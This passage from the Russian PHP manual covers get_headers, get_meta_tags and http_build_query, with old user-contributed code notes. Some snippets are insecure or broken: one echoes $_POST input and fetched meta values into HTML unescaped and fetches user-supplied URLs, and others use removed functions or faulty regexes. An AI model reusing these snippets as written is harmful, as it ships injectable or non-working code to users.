            if ($format)
                if ($val) $headers[$key] = $val;
                else $headers[] = $key;
            else $headers[] = $line;
        }
        fclose($fp);
        return $headers;
    }
    return false;
}
}
?>
php dot sirlancelot at spamgourmet dot com 05-Jun-2008 01:59
I tried to replicate the native behavior as much as possible for systems that don't have the get_headers() function. Here it is:
<?php
if (!function_exists('get_headers')) {
function get_headers($Url, $Format= 0, $Depth= 0) {
    if ($Depth > 5) return;
    $Parts = parse_url($Url);
    if (!array_key_exists('path', $Parts))   $Parts['path'] = '/';
    if (!array_key_exists('port', $Parts))   $Parts['port'] = 80;
    if (!array_key_exists('scheme', $Parts)) $Parts['scheme'] = 'http';

    $Return = array();
    $fp = fsockopen($Parts['host'], $Parts['port'], $errno, $errstr, 30);
    if ($fp) {
        $Out = 'GET '.$Parts['path'].(isset($Parts['query']) ? '?'.@$Parts['query'] : '')." HTTP/1.1\r\n".
               'Host: '.$Parts['host'].($Parts['port'] != 80 ? ':'.$Parts['port'] : '')."\r\n".
               'Connection: Close'."\r\n";
        fwrite($fp, $Out."\r\n");
        $Redirect = false; $RedirectUrl = '';
        while (!feof($fp) && $InLine = fgets($fp, 1280)) {
            if ($InLine == "\r\n") break;
            $InLine = rtrim($InLine);

            list($Key, $Value) = explode(': ', $InLine, 2);
            if ($Key == $InLine) {
                if ($Format == 1)
                        $Return[$Depth] = $InLine;
                else    $Return[] = $InLine;

                if (strpos($InLine, 'Moved') > 0) $Redirect = true;
            } else {
                if ($Key == 'Location') $RedirectUrl = $Value;
                if ($Format == 1)
                        $Return[$Key] = $Value;
                else    $Return[] = $Key.': '.$Value;
            }
        }
        fclose($fp);
        if ($Redirect && !empty($RedirectUrl)) {
            $NewParts = parse_url($RedirectUrl);
            if (!array_key_exists('host', $NewParts))   $RedirectUrl = $Parts['host'].$RedirectUrl;
            if (!array_key_exists('scheme', $NewParts)) $RedirectUrl = $Parts['scheme'].'://'.$RedirectUrl;
            $RedirectHeaders = get_headers($RedirectUrl, $Format, $Depth+1);
            if ($RedirectHeaders) $Return = array_merge_recursive($Return, $RedirectHeaders);
        }
        return $Return;
    }
    return false;
}}
?>
The function will handle up to five redirects.
Enjoy!
dxtrim at yahoo dot com 17-Jan-2008 01:16
Content-Type returns a value depending only on the extension and not the real MIME TYPE.

So, bad_file.exe renamed to good_file.doc will return application/msword

A file without extension returns a 404.
13-Nov-2006 12:29
I've noticed it.
Some Server will simply return the false reply header if you sent 'HEAD' request instead of 'GET'. The 'GET' request header always receiving the most actual HTTP header instead of 'HEAD' request header. But If you don't mind for a fast but risky method then 'HEAD' request is better for you.

btw ... this is get header with additional information such as User, Pass & Refferer. ...
<?php
    function get_headers_x($url,$format=0, $user='', $pass='', $referer='') {
        if (!empty($user)) {
            $authentification = base64_encode($user.':'.$pass);
            $authline = "Authorization: Basic $authentification\r\n";
        }

        if (!empty($referer)) {
            $refererline = "Referer: $referer\r\n";
        }

        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "GET ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\n";
            if (!empty($url_info['port'])) {
                $head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n";
            } else {
                $head .= "Host: ".@$url_info['host']."\r\n";
            }
            $head .= "Connection: Close\r\n";
            $head .= "Accept: */*\r\n";
            $head .= $refererline;
            $head .= $authline;
            $head .= "\r\n";

            fputs($fp, $head);
            while(!feof($fp) or ($eoheader==true)) {
                if($header=fgets($fp, 1024)) {
                    if ($header == "\r\n") {
                        $eoheader = true;
                        break;
                    } else {
                        $header = trim($header);
                    }

                    if($format == 1) {
                    $key = array_shift(explode(':',$header));
                        if($key == $header) {
                            $headers[] = $header;
                        } else {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                    unset($key);
                    } else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;

        } else {
            return false;
        }
    }
?>

Regards.
Donovan
10-May-2006 04:10
If you want to get headers that current PHP process is going to send back to browser, see headers_list()
stuart at sixletterwords dot com 14-Sep-2005 12:52
hey, i came across this afew weeks ago and used the function in an app for recording info about domains that my company owns, and found that the status this returns was wrong most of the time (400 bad request or void for sites that were clearly online). then looking into it i noticed the problem was that it wasn't able to get the correct info about sites with redirections. but thats not the full problem because everything on my server was returning the wrong status too. i searched around on php.net for other info and found that fsockopen's example worked better and only needed some tweeking.

heres the function i put together from it and a small change.

<?php
if(!function_exists('get_headers')) {
   function get_headers($url,$format=0,$httpn=0){
    $fp = fsockopen($url, 80, $errno, $errstr, 30);
    if ($fp) {
       $out = "GET / HTTP/1.1\r\n";
       $out .= "Host: $url\r\n";
       $out .= "Connection: Close\r\n\r\n";
       fwrite($fp, $out);
       while (!feof($fp)) {
           $var.=fgets($fp, 1280);
       }

    $var=explode("<",$var);
    $var=$var[0];
    $var=explode("\n",$var);
    fclose($fp);
    return $var;
    }
    }
}
?>

this returns an array of the header (only problem being that if the site doesn't have correct html it'll pull in some content too).

hope this'll help someone else.
sey at sey dot prometheus-designs dot net 27-Jul-2005 04:10
The replacement updated get_headers function by aeontech at gmail dot com improperly formats dates when $format = 1.

Replace:
<?
else {
$headers[strtolower($h2[0])] = trim($h2[1]);
}
?>

With:
<?
else {
$foo = implode( ':', $h2 );
$foo = preg_replace( '/[a-zA-Z- ]*: /', '', $foo );
$headers[strtolower($h2[0])] = trim( $foo );
}
drfickle2 at yahoo dot com 27-Jul-2005 05:01
aeontech, this the below change adds support for SSL connections. Thanks for the code!

        if (isset($url_info['scheme']) && $url_info['scheme'] == 'https') {
            $port = 443;
            $fp=fsockopen('ssl://'.$url_info['host'], $port, $errno, $errstr, 30);
        } else {
           $port = isset($url_info['port']) ? $url_info['port'] : 80;
            $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        }
15-Jul-2005 01:37
For anyone reading the previous comments, here is code that takes into account all the previous suggestions and includes a bugfix, too.

This code basically provides the "get_headers" function even on systems that are not running PHP 5.0.  It uses strtolower() on the keys, as suggested.  It uses the $h2 array instead of the $key, as suggested.  It removes a line about unsetting the $key -- no reason to unset something which is no longer used.  And I've changed the status header to be named "status" (instead of "0") in the array.  Note that if more than one header is returned without a label, they'll be stuck in "status" -- but I think status is the only header that comes back without a label, so it works for me.  So, first the code, then a sample of the usage:

<?php
if(!function_exists('get_headers')) {
   /**
   * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0) {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query'];
            $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp)) {
                if($header=trim(fgets($fp, 1024))) {
                    if($format == 1) {
                        $h2 = explode(':',$header);
                        // the first element is the http header type, such as HTTP/1.1 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($h2[0] == $header) {
                            $headers['status'] = $header;
                        }
                        else {
                            $headers[strtolower($h2[0])] = trim($h2[1]);
                        }
                    }
                    else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else {
            return false;
        }
    }
}
?>

OK?  Here's the usage:

<?php
$response = get_headers('http://www.example.com/', 1);
if (!$response) {
    echo 'Unable to initiate connection.';
}
else {
    print_r($response);
}
?>
aeontech at gmail dot com 23-Dec-2004 05:20
In response to dotpointer's modification of Jamaz' solution...

Here is a small modification of your function, this adds the emulation of the optional $format parameter.

<?php
if(!function_exists('get_headers')) {

    /**
    * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0)
    {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);

        if($fp)
        {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp))
            {
                if($header=trim(fgets($fp, 1024)))
                {
                    if($format == 1)
                    {
                        $key = array_shift(explode(':',$header));
                        // the first element is the http header type, such as HTTP 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($key == $header)
                        {
                            $headers[] = $header;
                        }
                        else
                        {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                        unset($key);
                    }
                    else
                    {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else
        {
            return false;
        }
    }
}
?>


Извлекает содержимое всех метатегов из файла и возвращает массив

  • « get_headers
  • http_build_query »
  • PHP Manual
  • Функции URL
  • Извлекает содержимое всех метатегов из файла и возвращает массив

get_meta_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

get_meta_tags — Извлекает содержимое всех метатегов из файла и возвращает массив

Описание

get_meta_tags(string $filename, bool $use_include_path = false): array|false

Открывает filename и разбирает его по строкам в поисках тегов <meta>. Разбор файла останавливается на теге </head>.

Список параметров

filename

Путь к HTML-файлу в виде строки. Может быть как локальным файлом, так и URL.

Пример #1 Что обрабатывает функция get_meta_tags()

<meta name="author" content="name">
<meta name="keywords" content="php documentation">
<meta name="DESCRIPTION" content="a php manual">
<meta name="geo.position" content="49.33;-86.59">
</head> <!-- разбор файла будет остановлен здесь -->

use_include_path

Если use_include_path равен true, PHP будет искать файл используя стандартные пути поиска из директивы php.ini include_path. Это актуально только для локальных файлов, но не для URL.

Возвращаемые значения

Возвращает ассоциативный массив со значениями разобранных метатегов.

Значение атрибута name становится ключом массива, а значение атрибута content - значением этого элемента. Вы можете использовать стандартные функции работы с массивами для обхода или доступа к конкретным значениям. Специальные символы в именах (ключах массива) заменяются на '_', и ключи приводятся к нижнему регистру. Если два метатега имеют одинаковые имена, будет возвращён только последний.

Возвращает false в случае возникновения ошибки.

Примеры

Пример #2 Что возвращает функция get_meta_tags()

<?php
// Предположим, что указанные выше метатеги расположены на www.example.com
$tags = get_meta_tags('http://www.example.com/');

// Обратите внимание, что ключи приведены к нижнему регистру,
// а точки ('.') в ключах заменены на '_'
echo $tags['author']; // name
echo $tags['keywords']; // php documentation
echo $tags['description']; // a php manual
echo $tags['geo_position']; // 49.33;-86.59
?>

Примечания

Замечание:

Обрабатываются только метатеги с атрибутом name. Кавычки не требуются.

Смотрите также

  • htmlentities() - Преобразует все возможные символы в соответствующие HTML-сущности
  • urlencode() - URL-кодирование строки

User Contributed Notes

bobble bubble 05-Aug-2015 08:07
This regex gets meta tags independent of sequence by capturing inside a lookahead.
Further uses the branch reset feature for different quote styles of values.
The pattern can be tested here: https://regex101.com/r/oE4oU9/1

<?PHP

function getMetaTags($str)
{
  $pattern = '
  ~<\s*meta\s

  # using lookahead to capture type to $1
    (?=[^>]*?
    \b(?:name|property|http-equiv)\s*=\s*
    (?|"\s*([^"]*?)\s*"|\'\s*([^\']*?)\s*\'|
    ([^"\'>]*?)(?=\s*/?\s*>|\s\w+\s*=))
  )

  # capture content to $2
  [^>]*?\bcontent\s*=\s*
    (?|"\s*([^"]*?)\s*"|\'\s*([^\']*?)\s*\'|
    ([^"\'>]*?)(?=\s*/?\s*>|\s\w+\s*=))
  [^>]*>

  ~ix';

  if(preg_match_all($pattern, $str, $out))
    return array_combine($out[1], $out[2]);
  return array();
}

// usage
$meta_tags = getMetaTags($str);

?>
LWC 25-Apr-2015 08:38
New version based on mariano at cricava dot com's work with:
1) Support for Meta properties (like Facebook's og tags).
2) Support for Unicode (UTF-8) encoded Meta lines.
3) An option not to convert htmlentities - if you plan to actually use the results and not just display them.

function getUrlData($url, $raw=false) // $raw - enable for raw display
{
    $result = false;

    $contents = getUrlContents($url);

    if (isset($contents) && is_string($contents))
    {
        $title = null;
        $metaTags = null;
        $metaProperties = null;

        preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

        if (isset($match) && is_array($match) && count($match) > 0)
        {
            $title = strip_tags($match[1]);
        }

        preg_match_all('/<[\s]*meta[\s]*(name|property)="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 4)
        {
            $originals = $match[0];
            $names = $match[2];
            $values = $match[3];

            if (count($originals) == count($names) && count($names) == count($values))
            {
                $metaTags = array();
                $metaProperties = $metaTags;
                if ($raw) {
                    if (version_compare(PHP_VERSION, '5.4.0') == -1)
                         $flags = ENT_COMPAT;
                    else
                         $flags = ENT_COMPAT | ENT_HTML401;
                }

                for ($i=0, $limiti=count($names); $i < $limiti; $i++)
                {
                    if ($match[1][$i] == 'name')
                         $meta_type = 'metaTags';
                    else
                         $meta_type = 'metaProperties';
                    if ($raw)
                        ${$meta_type}[$names[$i]] = array (
                            'html' => htmlentities($originals[$i], $flags, 'UTF-8'),
                            'value' => $values[$i]
                        );
                    else
                        ${$meta_type}[$names[$i]] = array (
                            'html' => $originals[$i],
                            'value' => $values[$i]
                        );
                }
            }
        }

        $result = array (
            'title' => $title,
            'metaTags' => $metaTags,
            'metaProperties' => $metaProperties,
        );
    }

    return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
    $result = false;

    $contents = @file_get_contents($url);

    // Check if we need to go somewhere else

    if (isset($contents) && is_string($contents))
    {
        preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
        {
            if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
            {
                return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
            }

            $result = false;
        }
        else
        {
            $result = $contents;
        }
    }

    return $contents;
}
?>

<?php
$result = getUrlData('http://whatever...', true);

echo '<pre>'; print_r($result, true); echo '</pre>';

?>

Output example:

<?php
Array
(
    [title] => The requested page's title
    [metaTags] => Array
        (
            [description] => Array
                (
                    [html] => <meta name="description" content="Something..." />
                    [value] => Something...
                )
        )
    [metaProperties] => Array
        (
            [og:type] => Array
                (
                    [html] => <meta property="og:type" content="article"/>/>
                    [value] => article
                )
        )
)
?>
richard dot dern at athaliasoft dot fr 02-Oct-2013 08:50
I personally experienced less issues using the DOM functions than regular expressions while trying to fetch meta tags and not using get_meta_tags function (in order to get http-equiv meta tags too).

<?php

$doc = new DOMDocument();
$doc->loadHTML($html);

$xpath = new DOMXPath($doc);

$nodes = $xpath->query('//head/meta');

foreach($nodes as $node) {
    [...]
}

?>
Ebpo 08-Mar-2013 06:31
Be aware that the function looks for the metatags in the whole page. If one of the meta is commented in your code for some reason, it will still be grabed.
jstel at 126 dot com 13-Jul-2009 09:36
this function could get each meta of html content , and stripped all js and css.

<?php
function get_meta_data($content)
{
    $content = strtolower($content);
    $content = preg_replace("'<style[^>]*>.*</style>'siU",'',$content);  // strip js
    $content = preg_replace("'<script[^>]*>.*</script>'siU",'',$content); // strip css
    $split = explode("\n",$content);
    foreach ($split as $k => $v)
    {
        if (strpos(' '.$v,'<meta')) {
             preg_match_all(
"/<meta[^>]+(http\-equiv|name)=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]*>/i",
$v, $split_content[],PREG_PATTERN_ORDER);;
        }
    }
    return $split_content;
}
?>
Antonio - Malaga 10-Feb-2009 02:21
It's not work if meta syntax not have trailing slash.
doob_ at gmx dot de 27-Nov-2008 04:12
<?php

/*
** Extracts and formats meta tag content
*/

function get_meta_data($url, $searchkey='') {
    $data = get_meta_tags($url);    // get the meta data in an array
    foreach($data as $key => $value) {
        if(mb_detect_encoding($value, 'UTF-8, ISO-8859-1', true) != 'ISO-8859-1') {    // check whether the content is UTF-8 or ISO-8859-1
            $value = utf8_decode($value);    // if UTF-8 decode it
        }
        $value = strtr($value, get_html_translation_table(HTML_ENTITIES));    // mask the content
        if($searchkey != '') {    // if only one meta tag is in demand e.g. 'description'
            if($key == $searchkey) {
                $str = $value;    // just return the value
            }
        } else {    // all meta tags
            $pattern = '/ |,/i';    // ' ' or ','
            $array = preg_split($pattern, $value, -1, PREG_SPLIT_NO_EMPTY);    // split it in an array, so we have the count of words
            $str .= '<p><span style="display:block;color:#000000;font-weight:bold;">' . $key . ' <span style="font-weight:normal;">(' . count($array) . ' words | ' . strlen($value) . ' chars)</span></span>' . $value . '</p>';    // format data with count of words and chars
        }
    }
    return $str;
}

$content .= get_meta_data("http://www.example.com/");
/*
output looks like this:

description (23 words | 167 chars)
SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.

keywords (13 words | 119 chars)
SELFHTML, HTML, Dynamic HTML, JavaScript, CGI, Perl, Grafik, WWW-Seiten, Web-Seiten, Hilfe, Dokumentation, Beschreibung

etc.

*/

$content .= get_meta_data("http://www.example.com/", "description");
/*
output looks like this:

SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.
*/

?>
diel at caroes dot be 16-Jan-2008 10:38
Quick meta data grabber
[code]
if(get_meta_tags('http://'.$_POST['pagina'])){
        print '<font class="midden">Meta data from http://'.$_POST['pagina'].'</font>';
        $metadata = get_meta_tags('http://'.$_POST['pagina']);
        echo '<table width="100%">';
        print '<tr><td>Meta</td><td>Waarde</td></tr>';
        foreach($metadata as $naam => $waarde){
            echo '<tr><td valign="top">'.$naam.'</td><td>'.$waarde.'</td></tr>';
        }
        print '</table>';
    }else{
        print '
        <div class="red_h">Incorrect</div>
        ';
    }
[/code]
roganty at gmail dot com 19-Aug-2006 03:33
This is a slight amendment to jimmyxx at gmail dot com function

I tried using the regex displayed in his code, and php threw up a couple of errors

Below is the correct regular expression that works
(Please note that I had to split the regex into strings because php.net was complaining about the line being to long)
<?php
preg_match_all(
   "|<meta[^>]+name=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]+>|i",
   $html, $out,PREG_PATTERN_ORDER);
?>

The problem was due to the quotes being incorrectly escaped.
I hope this helps anyone who has been having problems with his code
jimmyxx at gmail dot com 20-Sep-2005 12:37
I used this as part of my mini php search based search engine - it really slowed the whole thing down. I wrote this function to read HTML (just fetch the file or use something like snoopy) and extract the meta data via a simple regex, works a treat and made my crawler much faster:

<?php

function get_meta_data($html) {

    preg_match_all(
    "|<meta[^>]+name=\\"([^\\"]*)\\"[^>]+content=\\"([^\\"]*)\\"[^>]+>|i",  $html, $out,PREG_PATTERN_ORDER);

    for ($i=0;$i < count($out[1]);$i++) {
        // loop through the meta data - add your own tags here if you need
        if (strtolower($out[1][$i]) == "keywords") $meta['keywords'] = $out[2][$i];
        if (strtolower($out[1][$i]) == "description") $meta['description'] = $out[2][$i];
    }

return $meta;
}

?>
mariano at cricava dot com 12-Sep-2005 05:18
Based on Michael Knapp's code, and adding some regex, here's a function that will get all meta tags and the title based on a URL. If there's an error, it will return false. Using the function getUrlContents(), also included, it takes care of META REFRESH re-directions, following up to the specified number of redirections. Please note that the regular expressions included were split into strings because php.net was complaining about the line being to long ;)

<?php
function getUrlData($url)
{
    $result = false;

    $contents = getUrlContents($url);

    if (isset($contents) && is_string($contents))
    {
        $title = null;
        $metaTags = null;

        preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

        if (isset($match) && is_array($match) && count($match) > 0)
        {
            $title = strip_tags($match[1]);
        }

        preg_match_all('/<[\s]*meta[\s]*name="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 3)
        {
            $originals = $match[0];
            $names = $match[1];
            $values = $match[2];

            if (count($originals) == count($names) && count($names) == count($values))
            {
                $metaTags = array();

                for ($i=0, $limiti=count($names); $i < $limiti; $i++)
                {
                    $metaTags[$names[$i]] = array (
                        'html' => htmlentities($originals[$i]),
                        'value' => $values[$i]
                    );
                }
            }
        }

        $result = array (
            'title' => $title,
            'metaTags' => $metaTags
        );
    }

    return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
    $result = false;

    $contents = @file_get_contents($url);

    // Check if we need to go somewhere else

    if (isset($contents) && is_string($contents))
    {
        preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
        {
            if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
            {
                return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
            }

            $result = false;
        }
        else
        {
            $result = $contents;
        }
    }

    return $contents;
}
?>

Here's an example of its usage. Check that the included URL has a META REFRESH redirection:

<?php
$result = getUrlData('http://www.marianoiglesias.com.ar/');

echo '<pre>'; print_r($result); echo '</pre>';

?>

For the above code the output would be:

<?php
Array
(
    [title] => Mariano Iglesias: El Eternauta
    [metaTags] => Array
        (
            [description] => Array
                (
                    [html] => <meta name="description" content="Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well." />
                    [value] => Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well.
                )

            [DC.title] => Array
                (
                    [html] => <meta name="DC.title" content="Mariano Iglesias - Weblog" />
                    [value] => Mariano Iglesias - Weblog
                )

            [ICBM] => Array
                (
                    [html] => <meta name="ICBM" content="-34.6017, -58.3956" />
                    [value] => -34.6017, -58.3956
                )

            [geo.position] => Array
                (
                    [html] => <meta name="geo.position" content="-34.6017;-58.3956" />
                    [value] => -34.6017;-58.3956
                )

            [geo.region] => Array
                (
                    [html] => <meta name="geo.region" content="AR-BA">
                    [value] => AR-BA
                )

            [geo.placename] => Array
                (
                    [html] => <meta name="geo.placename" content="Buenos Aires">
                    [value] => Buenos Aires
                )

        )

)
?>
Michael Knapp 12-Mar-2005 12:47
Tim's code is good (thanks Tim), except it won't work very well if the tag is part of a long non-breaking string.

E.g. try getting the title from Google Maps (http://www.google.com/maps).

A better solution is:

<?php
$title = "";

if ($fp = @fopen( $_POST['url'], 'r' )) {

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
       $buf = trim(fgets( $fp, 4096 )) ;
       $cont .= $buf;
    }

    // get tag contents
    @preg_match( "/<title>([a-z 0-9]*)<\/title>/si", $cont, $match );

    // tag contents
    $title = strip_tags(@$match[ 1 ]);
}

?>

Note the strip_tags. Another thing to be careful of is to check for ", <, and >. You will need to strip those out if you are posting the output to a form.

Also, it is probably best to use the /i modifier, because some people might code <TITLE> etc...
rehfeld 05-Feb-2005 06:45
in response to
jp at webgraphe dot com

this function grabs meta tags, not http headers

if you need the headers

<?php

$fp = fopen('http://example.org/somepage.html', 'r');

// the variable $http_response_header magically appears
print_r($http_response_header);

// or
$meta_data = stream_get_meta_data($fp);
print_r($meta_data);

?>
tim dot bennett at haveaniceplay dot com 01-Feb-2005 07:43
If you want to get the contents of tags other than meta you can use:

<?php

$page = "http://www.mysite.com/apage.php";

    // tags
    $start = '<atag>';
    $end = '<\/atag>';

    // open the file
    $fp = fopen( $page, 'r' );

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
        $buf = trim( fgets( $fp, 4096 ) );
        $cont .= $buf;
    }

    // get tag contents
    preg_match( "/$start(.*)$end/s", $cont, $match );

    // tag contents
    $contents = $match[ 1 ];

?>
jp at webgraphe dot com 12-Dec-2003 05:37
If the URL is doing a redirection using the headers (like you would do with PHP function header("Location: URL");), the page has no content (in general). It appears get_meta_tags() doesn't catch that kind of redirection (like cURL would do) and it lead me to a timeout of my script.

I experienced this in a spider I wrote in order to feed my database of all available pages on my site and one link was linking to a page that simply has the following code:

<?php
  header("Location: sections.php?section=home");
  exit();
?>

That made my script hang for a moment and apparently, get_meta_tags() wasn't even able to return me an error.

JP.
20-Dec-2001 11:01
Tested PHP 4.0.6

get_meta_tags() seems to look only in the beginning of a file, meaning that e.g. if there is a lot of PHP code before the HTML header it will return nothing ...
Tested using get_meta_tags() on local files with about 9000 characters of PHP code before HTML HEADER.

Workaround: if possible move code after header or if not: include a file.
Ben dot Davis at furman dot edu 30-Jul-2001 03:29
I have found that for large searches, get_meta_tags is very slow.  I created a large search engine for a website that couldnt use a database and I first tried pulling out the meta tags.
I have found that it is actually much faster to use eregi to pull out the meta tags.  This code below pulls out the description:

if (eregi ("<meta name=\"description\" content=[^>]*", $contents, $descresult))
                                {
                                    $description = explode("<meta name=\"description\" content=", $descresult[0]);
                                    echo "<font face=\"Arial\" size=2>$description[1]</font>";

                                }
richard at pifmagazine dot com 21-Apr-2000 05:17
Something that is not mentioned above and should be : When using get_meta_tags on a remote PHP page the page will be parsed before the meta tags are returned - so you can capture meta tags generated dynamically (by PHP??) on the remote end.

This DOES NOT work the same way when getting meta tags on local file systems.  Local files are not parsed through the web server before returning to get_meta_tags().  If the META tag is hard-coded into the page, you'll be fine - but if it dynamically generated you will not be able to capture it unless you use the full URL when calling your local files.
richard at pifmagazine dot com 21-Apr-2000 05:00
An Important Note about META tags and this function :  if your META tag contains newline "\n"  characters, get_meta_tags() will return a NULL value for that name property.  Removing the newlines from the source META tag corrects the problem.


Генерирует URL-кодированную строку запроса

  • « get_meta_tags
  • parse_url »
  • PHP Manual
  • Функции URL
  • Генерирует URL-кодированную строку запроса

http_build_query

(PHP 5, PHP 7, PHP 8)

http_build_query — Генерирует URL-кодированную строку запроса

Описание

http_build_query(
array|object $data,
string $numeric_prefix = "",
?string $arg_separator = null,
int $encoding_type = PHP_QUERY_RFC1738
): string

Генерирует URL-кодированную строку запроса из предоставленного ассоциативного (или индексированного) массива.

Список параметров

data

Может быть массив или объект, содержащий свойства.

Если data массив, то он может быть простой одномерной структурой или массивом массивов (который, в свою очередь, может содержать другие массивы).

Если data объект, тогда только общедоступные свойства будут включены в результат.

numeric_prefix

Если числовые индексы используются в базовом массиве и этот параметр указан, то он будет добавлен к числовому индексу для элементов только в базовом массиве.

Это позволяет обеспечить допустимые имена переменных, в которые позже данные будут декодированы PHP или другим CGI-приложением.

arg_separator

Разделитель аргументов. Если не задан или null, то для разделения аргументов используется arg_separator.output.

encoding_type

По умолчанию PHP_QUERY_RFC1738.

Если encoding_type равен PHP_QUERY_RFC1738, тогда кодирование осуществляется по » RFC 1738 и типу контента application/x-www-form-urlencoded, что подразумевает, что пробелы кодируются как символы "плюс" (+).

Если enc_type равен PHP_QUERY_RFC3986, тогда кодирование осуществляется в соответствии с » RFC 3986, а пробелы будут закодированы в процентах (%20).

Возвращаемые значения

Возвращает URL-кодированную строку.

Список изменений

Версия | Описание
8.0.0 | Параметр arg_separator теперь допускает значение null.

Примеры

Пример #1 Простой пример использования http_build_query()

<?php
$data = array(
'foo' => 'bar',
'baz' => 'boom',
'cow' => 'milk',
'null' => null,
'php' => 'hypertext processor'
);

echo http_build_query($data) . "\n";
echo http_build_query($data, '', '&amp;');

?>

Результат выполнения данного примера:

foo=bar&baz=boom&cow=milk&php=hypertext+processor
foo=bar&amp;baz=boom&amp;cow=milk&amp;php=hypertext+processor

Пример #2 Пример использования http_build_query() с числовыми индексами элементов.

<?php
$data = array('foo', 'bar', 'baz', null, 'boom', 'cow' => 'milk', 'php' => 'hypertext processor');

echo http_build_query($data) . "\n";
echo http_build_query($data, 'myvar_');
?>

Результат выполнения данного примера:

0=foo&1=bar&2=baz&4=boom&cow=milk&php=hypertext+processor
myvar_0=foo&myvar_1=bar&myvar_2=baz&myvar_4=boom&cow=milk&php=hypertext+processor

Пример #3 Пример использования http_build_query() с многомерными массивами

<?php
$data = array(
'user' => array(
'name' => 'Bob Smith',
'age' => 47,
'sex' => 'M',
'dob' => '5/12/1956'
),
'pastimes' => array('golf', 'opera', 'poker', 'rap'),
'children' => array(
'bobby' => array('age'=>12, 'sex'=>'M'),
'sally' => array('age'=>8, 'sex'=>'F')
),
'CEO'
);

echo http_build_query($data, 'flags_');
?>

Результат выполнения данных примеров: (символы перенесены для удобства чтения)

user%5Bname%5D=Bob+Smith&user%5Bage%5D=47&user%5Bsex%5D=M&
user%5Bdob%5D=5%2F12%2F1956&pastimes%5B0%5D=golf&pastimes%5B1%5D=opera&
pastimes%5B2%5D=poker&pastimes%5B3%5D=rap&children%5Bbobby%5D%5Bage%5D=12&
children%5Bbobby%5D%5Bsex%5D=M&children%5Bsally%5D%5Bage%5D=8&
children%5Bsally%5D%5Bsex%5D=F&flags_0=CEO

Замечание:

Только числовой индексированный элемент "CEO" в базовом массиве получил префикс. Другие числовые индексы, найденные в pastimes, не требуют строкового префикса, чтобы быть допустимыми именами переменных.

Пример #4 Пример использования http_build_query() с объектом

<?php
class parentClass {
public $pub = 'publicParent';
protected $prot = 'protectedParent';
private $priv = 'privateParent';
public $pub_bar = null;
protected $prot_bar = null;
private $priv_bar = null;

public function __construct(){
$this->pub_bar = new childClass();
$this->prot_bar = new childClass();
$this->priv_bar = new childClass();
}
}

class childClass {
public $pub = 'publicChild';
protected $prot = 'protectedChild';
private $priv = 'privateChild';
}

$parent = new parentClass();

echo http_build_query($parent);
?>

Результат выполнения данного примера:

pub=publicParent&pub_bar%5Bpub%5D=publicChild

Смотрите также

  • parse_str() - Разбирает строку в переменные
